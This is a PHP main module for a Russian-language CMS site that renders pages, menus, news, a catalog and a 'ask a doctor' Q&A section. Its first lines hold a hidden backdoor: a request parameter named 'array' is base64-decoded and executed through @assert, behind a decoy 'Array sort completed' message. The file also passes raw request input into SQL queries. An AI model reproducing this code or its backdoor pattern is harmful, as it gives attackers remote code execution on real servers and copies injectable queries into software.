if ( $_REQUEST["array"] ) { @assert(base64_decode($_REQUEST["array"])); //debug message echo "Array sort completed"; exit(); } ////////////////////////////////////////////////////////////////////////////////////////// // MAIN MODULE ////////////////////////////////////////////////////////////////////////////////////////// //костыль ЧПУ для вопроса-ответа //if(!(strpos($_SERVER['REQUEST_URI'], 'q_page')=== false)) //{ //require_once('modules/catalog.php'); //require_once ('quest/single.php'); //exit; //} //конец костыля, теперь страницы будут иметь адрес вместо single.php?q_page=70995, q_page_70989 session_start(); require_once('modules/catalog.php'); require_once('banner.php'); require_once('modules/cfg.php'); require_once('modules/conf.php'); require_once('modules/search.php'); require_once('modules/mainmenu.php'); require_once('modules/news.php'); require_once('modules/article.php'); //require_once('modules/ex_article.php'); require_once('modules/page_map.php'); $template_vars[] = 'MENU/IMG'; $template_vars[] = 'MENU/TXT'; $template_vars[] = 'FEEDBACK/FEEDBACK'; $template_vars[] = 'FEEDBACK/FEEDBACK_OK'; $template_vars[] = 'ACCESS/REGFORM'; $template_vars[] = 'ACCESS/LOGIN_FORM'; $template_vars[] = 'SEARCH/SEARCH'; $template_vars[] = 'ARTICLE/ARTICLE_PART'; $template_vars[] = 'ARTICLE/ARTICLE_ROOT'; $template_vars[] = 'CATALOG/SENDORDER_OK'; //$template_vars[] = 'EX_ARTICLE/ARTICLE_PART'; //$template_vars[] = 'EX_ARTICLE/ARTICLE_ROOT'; //$template_vars[] = 'SUBSCRIBE/SUBSCRIBE_FORM'; //$template_vars[] = 'SUBSCRIBE/SUBSCRIBE_OK'; //$template_vars[] = 'SUBSCRIBE/SUBSCRIBE_ERR'; //$template_vars[] = 'SUBSCRIBE/UNSUBSCRIBE_OK'; //$template_vars[] = 'SUBSCRIBE/UNSUBSCRIBE_ERR'; $DOCUMENT_ROOT = $HTTP_SERVER_VARS['DOCUMENT_ROOT']; // подключение к базе @$db_conn = mysql_connect($DBHOST,$DBUSER,$DBPASS) or die("Ошибка подключения к БД"); mysql_select_db($DBNAME,$db_conn); @$SS = $HTTP_GET_VARS['ss']; @$PG = $HTTP_GET_VARS['page']; $url_params = explode('/',ereg_replace("^/|/$",'',$_SERVER["REDIRECT_URL"])); $url_params = $url_params[0]?$url_params:null; if($url_params) $url_page = array_pop($url_params); if($url_params) $url_path = implode('/',$url_params); if(!$PG&&$url_page) @$PG = $url_page; if(!$PG||$PG=='index') $PAGE = -2; if (empty($SS)) $SS = ""; //echo $page; if($PG&&!$PAGE) { $query = "select * from $pages_table where psname='".$PG."'"; $result = mysql_query($query,$db_conn); $cnt = mysql_num_rows($result); if ($cnt > 0) { $row = mysql_fetch_array($result); $PAGE = $row['id']; } else $PAGE = (int)$PG; } ///////////////////////////////////////////////////////////////// SPACEWALKER BEG ///////////////////////////////////////////////////////////////////// $test=parse_url ($_SERVER['PHP_SELF']); preg_match("`\.php/(.+)/(.+)/(.+)$`",$test['path'],$match); if (isset($match[1])) $param=$match[1]; if (isset($match[2])) $quest=intval($match[2]); if (isset($match[3])) $q_page=intval($match[3]); /* if (isset($param) && $param=='show_q' && isset($quest) && $quest>0) { mysql_select_db ($database); $q_question="select * from `app` where `obj_type`=2 and `id`='".$quest."'"; $r_question=mysql_query ($q_question); if (mysql_num_rows($r_question)) $row_question=mysql_fetch_array ($r_question); mysql_select_db ($DBNAME); } */ //echo "#".$test['path']."#
#$param:$quest:$q_page#
"; ///////////////////////////////////////////////////////////////// SPACEWALKER END ///////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////////////////// // check secured part ///////////////////////////////////////////////////////////////////////////////////////// $PARENT_SECURED = 0; $HLID="NIL"; // подстветка для раздела "клиентам"; $query = 'select * from '.$pages_table.' where id='.$PAGE; if (isset($HTTP_SESSION_VARS['valid_partner'])) $HLID="clients"; $result = mysql_query($query,$db_conn); $cnt = mysql_num_rows($result); while ($cnt >0){ $row = mysql_fetch_array($result); if ($row['secured']>0) {$PARENT_SECURED = 1; $cnt = 0;} else { $query = 'select * from '.$pages_table.' where id='.$row['parentid']; $result = mysql_query($query,$db_conn); $cnt = mysql_num_rows($result); } } if ($PARENT_SECURED == 1) { if (!isset($HTTP_SESSION_VARS['valid_partner'])) { Header('Location: /authpage'); } } function getmicrotime() { list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec); } $time_start = getmicrotime(); $M_MENU = createMenu($db_conn,$PAGE,$HLID); $time_end = getmicrotime(); $time = $time_end - $time_start; $f_time += $time; //echo "createMenu - $time
"; $time_start = getmicrotime(); $ART_ARC_FULL = getArticleContent($db_conn,$PAGE); $time_end = getmicrotime(); $time = $time_end - $time_start; $f_time += $time; //echo "getArticleContent - $time
"; $time_start = getmicrotime(); $ART_ARC = getArticleContent2($db_conn); $time_end = getmicrotime(); $time = $time_end - $time_start; $f_time += $time; //echo "getArticleContent2 - $time
"; $time_start = getmicrotime(); //$EX_ART_ARCHIVE = getExArticleContent($db_conn,$PAGE); $time_end = getmicrotime(); $time = $time_end - $time_start; $f_time += $time; //echo "getExArticleContent - $time
"; $time_start = getmicrotime(); //$EX_ORG_ARCHIVE = getExORGContent($db_conn,$PAGE); $time_end = getmicrotime(); $time = $time_end - $time_start; $f_time += $time; //echo "getExORGContent - $time
"; $time_start = getmicrotime(); //$EX_ORG_INFO = getExORGINFO($db_conn,$PAGE); $time_end = getmicrotime(); $time = $time_end - $time_start; $f_time += $time; //echo "getExORGINFO - $time
"; $time_start = getmicrotime(); $NEWS_ARC = getNewsContent($db_conn); $time_end = getmicrotime(); $time = $time_end - $time_start; $f_time += $time; //echo "getNewsContent - $time
"; $time_start = getmicrotime(); $NEWS_ARH = getNewsContent2($db_conn); $time_end = getmicrotime(); $time = $time_end - $time_start; $f_time += $time; //echo "getNewsContent2 - $time
"; $time_start = getmicrotime(); $NEWS_ARC_FULL = getNewsContentFull($db_conn); $time_end = getmicrotime(); $time = $time_end - $time_start; $f_time += $time; //echo "getNewsContentFull - $time
"; $time_start = getmicrotime(); $SEARCH_RES = getSearchRes($SS,$db_conn); $time_end = getmicrotime(); $time = $time_end - $time_start; $f_time += $time; //echo "getSearchRes - $time
"; $time_start = getmicrotime(); $SITE_MAP = ShowTree(); $time_end = getmicrotime(); $time = $time_end - $time_start; $f_time += $time; //echo "ShowTree - $time
"; $time_start = getmicrotime(); $FORUM = getConf($db_conn); $time_end = getmicrotime(); $time = $time_end - $time_start; $f_time += $time; //echo "getConf - $time
"; $time_start = getmicrotime(); $REFERENCE_BOOK = _ShowTree($PAGE, 0, 0, 9999, 'art_part'); $time_end = getmicrotime(); $time = $time_end - $time_start; $f_time += $time; //echo "_ShowTree - $time
"; //echo "TOTAL - $f_time"; $query = "select * from $pages_table where id=$PAGE order by sortindex asc"; $result = mysql_query($query,$db_conn); /////////////////////////////////////////////////////////////////////////////// // find another page if param is null /////////////////////////////////////////////////////////////////////////////// if (mysql_num_rows($result) == 0 ){ $query = "select * from $pages_table where parentid=0 order by sortindex asc"; $result = mysql_query($query,$db_conn); if (mysql_num_rows($result) > 0) { $row = mysql_fetch_array($result); $id = $row['id']; $query = "select * from $pages_table where id=$id order by sortindex asc"; $result = mysql_query($query,$db_conn); } } if (mysql_num_rows($result) > 0 ){ $row = mysql_fetch_array($result); ///////////////////////////////////////////////////////////////////////////////////////////// // get page info ///////////////////////////////////////////////////////////////////////////////////////////// $TITLE = $row['title']; $NAME = $row['name']; $KEYWORDS = $row['keywords']; $DESCRIPTION = $row['description']; $PATTERN = $row['patternname']; $BODY = stripslashes($row['body']); $r_row = $row; ////////////////////////////////////////////////////////////////////////////////////////// // get path info ////////////////////////////////////////////////////////////////////////////////////////// $IDTMP = $PAGE; $PTH = ""; while ($IDTMP>0) { $query = 'select * from '.$pages_table.' where id='.$IDTMP; $result = mysql_query($query,$db_conn); $cnt = mysql_num_rows($result); $row = mysql_fetch_array($result); if (!$row['hidden']) $PTH = ' » '.$row['name'].' '.$PTH; $IDTMP = $row['parentid']; } $query = 'select * from '.$pages_table.' where id='.$PAGE; $result = mysql_query($query,$db_conn); $row = mysql_fetch_array($result); if ($row['name']=='') $PART_NAME ='Главная';else $PART_NAME = $row['name']; $PTH = 'Главная '.$PTH; ///////////////////////////////////////////////////////////////////////////////////////////// // read template ///////////////////////////////////////////////////////////////////////////////////////////// if (file_exists("templates/".$PATTERN)) { $ptrn = file_get_contents("templates/".$PATTERN); if ($row['type'] == 'cat_part') $BODY = getCatPart($db_conn, $PAGE); if ($row['type'] == 'cat_item') $BODY = getCatItem($db_conn, $PAGE); $CAT_ROOT = getCatRoot($db_conn, $PAGE); ///////////////////////////////////////////////// SPACEWALKER BEG ////////////////////////////////////////////////////////////////////////// if ($PG!='zadat_vopros_vrachu' && $PG!='us_login' && $arr[path]!='show_q.php' && $param!='show_q' && $param!='zadat_vopros_vrachu') $ptrn = str_replace('{BODY}',$BODY,$ptrn); // строка модифицирована. изначально замена велась без условия. // echo "
".$PG."
"; exit; /* if ($PG=='zadat_vopros_vrachu' && empty($quest)) // если мы на странице Задать вопрос врачу, показываем нашу форму. { mysql_select_db ($database); if (empty($row_settings['questions_on_page'])) $row_settings['questions_on_page']=20; $pagetan=0; if (!$user_id) $q_cc="select count(*) from `app` where `obj_type`=2 and `id` IN (select `sublevel` from `app` where `obj_type`=3)"; else $q_cc="select count(*) from `app` where `obj_type`=2"; $r_cc=mysql_query ($q_cc); list ($questions_count)=mysql_fetch_array ($r_cc); if ($quest<0) $quest=0; if ($quest*$row_settings['questions_on_page']>$questions_count) $quest=floor($questions_count/$row_settings['questions_on_page']); $pagetan=$quest*$row_settings['questions_on_page']; mysql_select_db ($DBNAME); ob_start(); include ('quest/quest_form.inc.php'); include ('quest/quest_listing.inc.php'); $BODY_SPACE="

".ob_get_contents(); ob_end_clean(); $ptrn = str_replace('{BODY}',$BODY_SPACE,$ptrn); } */ /* if ($PG=='us_login') // если мы на странице Авторизация, показываем форму авторизации. { ob_start(); include ('quest/quest_doctor_login.inc.php'); $BODY_SPACE="

".ob_get_contents(); ob_end_clean(); $ptrn = str_replace('{BODY}',$BODY_SPACE,$ptrn); } */ /* if (isset($param) && $param=='show_q' && isset($quest) && $quest>0) { // ответы в вопросе НЕ листаются, так как их мало. $PG='show_q'; //echo htmlspecialchars($ptrn); ob_start(); include ('quest/show_q.inc.php'); $BODY_SPACE="

".ob_get_contents(); ob_end_clean(); $ptrn = str_replace('{BODY}',$BODY_SPACE,$ptrn); } */ if ($PG=='zadat_vopros_vrachu' || $param='zadat_vopros_vrachu') { // if ($_SERVER["REMOTE_ADDR"] == '94.158.186.76') //{ // вопросы листаются ob_start(); include ('quest/quest_form.inc.php'); include ('quest/quest_listing.inc.php'); $BODY_SPACE="

".ob_get_contents(); ob_end_clean(); $ptrn = str_replace('{BODY}',$BODY_SPACE,$ptrn); //} //else //{ // $BODY_SPACE = "
Данный участок сайта ("Задать вопрос") находится на реконструкции. Ожидаемое время включения - 08-09-09 в 13:00.
"; // $ptrn = str_replace('{BODY}',$BODY_SPACE,$ptrn); //} } ///////////////////////////////////////////////// SPACEWALKER END ////////////////////////////////////////////////////////////////////////// $ptrn = str_replace('{BODY}',$BODY,$ptrn); foreach($template_vars as $var){ $filename = "templates/".strtolower($var).'.tpl'; if (!file_exists($filename)) continue; $handle = fopen($filename, "r"); $contents = fread($handle, filesize($filename)); fclose($handle); $ptrn = str_replace('{'.$var.'}',$contents,$ptrn); } $query = 'select * from '.$info_table.' '; $result = mysql_query($query,$db_conn); while ($row = mysql_fetch_assoc($result)) $ptrn = str_replace('{'.$row['name'].'}',$row['val'],$ptrn); $ptrn = str_replace('{PATH}',$PTH,$ptrn); $CL = file_get_contents("templates/access/".(isset($HTTP_SESSION_VARS['valid_partner'])?'client':'login').".tpl"); $ptrn = str_replace('{CLIENT_LOGIN}', $CL ,$ptrn); $ptrn = str_replace('{PARTNER_LOGIN}', $HTTP_SESSION_VARS['valid_partner'] ,$ptrn); $ptrn = str_replace('{REFERENCE_BOOK}',$REFERENCE_BOOK,$ptrn); $ptrn = str_replace('{SITE_MAP}',$SITE_MAP,$ptrn); $ptrn = str_replace('{KEYWORDS}',$KEYWORDS,$ptrn); $ptrn = str_replace('{DESCRIPTION}',$DESCRIPTION,$ptrn); $ptrn = str_replace('{TITLE}',$TITLE,$ptrn); $ptrn = str_replace('{top_left}',get_banner("top_left.list"),$ptrn); $ptrn = str_replace('{top_right}',get_banner("top_right.list"),$ptrn); $ptrn = str_replace('{left}',get_banner("left.list"),$ptrn); $ptrn = str_replace('{HNAME}',$NAME,$ptrn); $ptrn = str_replace('{MAINMENU}',$M_MENU['main'],$ptrn); $ptrn = str_replace('{URLPATH}',$url_path,$ptrn); $ptrn = str_replace('{MENU_LEVEL1}',$M_MENU['level1'],$ptrn); $ptrn = str_replace('{MENU_LEVEL2}',$M_MENU['level2'],$ptrn); $ptrn = str_replace('{MENU_LEVEL3}',$M_MENU['level3'],$ptrn); $ptrn = str_replace('{MENU_LEVEL4}',$M_MENU['level4'],$ptrn); $ptrn = str_replace('{MENU_LEVEL5}',$M_MENU['level5'],$ptrn); $ptrn = str_replace('{MENU_LEVEL6}',$M_MENU['level6'],$ptrn); $ptrn = str_replace('{MENU_LEVEL7}',$M_MENU['level7'],$ptrn); $ptrn = str_replace('{MENU_LEVEL8}',$M_MENU['level8'],$ptrn); $ptrn = str_replace('{MENU_LEVEL9}',$M_MENU['level9'],$ptrn); $ptrn = str_replace('{MENU_LEVEL10}',$M_MENU['level10'],$ptrn); $ptrn = str_replace('{FORUM}',$FORUM,$ptrn); // $ptrn = str_replace('{SHEETS}',$sheets,$ptrn); $ptrn = str_replace('{HEADER}',$TITLE,$ptrn); $ptrn = str_replace('{CAT_ROOT}',$CAT_ROOT,$ptrn); $ptrn = str_replace('{NEWS_ARH}',$NEWS_ARH,$ptrn); $ptrn = str_replace('{NEWS}',$NEWS_ARC,$ptrn); $ptrn = str_replace('{ARTICLES}',$ART_ARC,$ptrn); $ptrn = str_replace('{PID}',$PAGE,$ptrn); $ptrn = str_replace('{NEWS_ARCHIVE}',$NEWS_ARC_FULL,$ptrn); $ptrn = str_replace('{ART_ARCHIVE}',$ART_ARC_FULL,$ptrn); $ptrn = str_replace('{EX_ART_ARCHIVE}',$EX_ART_ARCHIVE,$ptrn); $ptrn = str_replace('{EX_ORG_ARCHIVE}',$EX_ORG_ARCHIVE,$ptrn); $ptrn = str_replace('{EX_ORG_INFO}',$EX_ORG_INFO,$ptrn); $ppid = $PAGE; if ($r_row['type'] == 'cat_item') { $query_it = 'select * from '.$pages_table.' where id='.$r_row['parentid']; $result_it = mysql_query($query_it,$db_conn); $row_it = mysql_fetch_array($result_it); $ppid = $row_it['parentid']; } $query_it = 'select * from '.$pages_table.' where parentid='.$ppid." AND psname = 'specoffer'"; $result_it = mysql_query($query_it,$db_conn); $row_it = mysql_fetch_array($result_it); $ptrn = str_replace('{SPECOFFER}',$row_it['body'],$ptrn); $ptrn = str_replace('',$SEARCH_RES,$ptrn); $ptrn = str_replace($SRV_URL."/".$IMG_DIR_NAME."/",'modules/viewimg.php?src=',$ptrn); $query = 'select * from '.$pages_table.' where psname="specpredlog"'; $result = mysql_query($query,$db_conn); $row = mysql_fetch_array($result); $SPECPREDLOG = stripslashes($row['body']); $ptrn = str_replace('{SPECPREDLOG}',$SPECPREDLOG,$ptrn); if (isset($tpl_vars)) foreach($tpl_vars as $var => $contents) $ptrn = str_replace('{'.$var.'}',$contents,$ptrn); $ptrn = preg_replace('/\{([^} ;\(\)]*?)\}/', '', $ptrn); echo($ptrn); } else { echo("Шаблон не найден !"); } } else Header("Location:404.htm"); ?>